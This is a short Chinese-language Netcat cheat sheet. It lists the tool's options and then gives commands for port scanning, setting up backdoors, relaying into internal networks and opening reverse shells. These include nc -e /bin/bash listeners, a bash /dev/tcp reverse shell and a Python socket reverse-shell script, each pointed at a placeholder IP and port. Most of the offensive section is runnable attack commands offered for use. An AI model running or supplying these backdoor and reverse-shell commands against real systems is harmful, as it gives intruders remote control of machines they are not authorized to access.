NetCat
简介
Netcat 是一款简单的 Unix 工具,使用 UDP 和 TCP 协议。 它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。 使用它你可以轻易的建立任何连接。内建有很多实用的工具。它享有瑞士军刀的美称。
option
options:
-c shell commands as `-e'; use /bin/sh to exec [dangerous!!]
-e filename program to exec after connect [dangerous!!]
-b allow broadcasts
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-k set keepalive option on socket
-l listen mode, for inbound connects
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-q secs quit after EOF on stdin and delay of secs
-s addr local source address
-T tos set Type Of Service
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-C Send CRLF as line-ending
-z zero-I/O mode [used for scanning]
常用命令
nc [ip] [port] 与ip进行交互
nc -l -p [port] -e xxx.exe 作为服务器等待连接
nc -l -p [port] > abc.txt 服务器接受文件
nc -l -p [port] < 123.txt 客户机传输文件
信息收集
nc -n -v -w1 -z [ip][port] 不用DNS和payload检测开放机器端口
后门建立
nc -l -p 4444 -e /bin/bash||cmd.exe 返回shell执行命令
nc [ip] [port] -e /bin/bash||cmd.exe
连接转发(内网)
echo nc [ip] [port] > delay.bat 利用delay.bat进行与内网机器对接
nc -l -p [ip] -e delay.bat 利用delay.bat进行网络传输
内网转发
nc ip port | /bin/bash | nc ip port 反弹shell
nc -lvnp port
无nc主机反弹
bash -i >& /dev/tcp/ip/port 0>&1 利用bash反弹
python调用
import os,socket,subprocess
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('ip','port'))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/bash','-i'])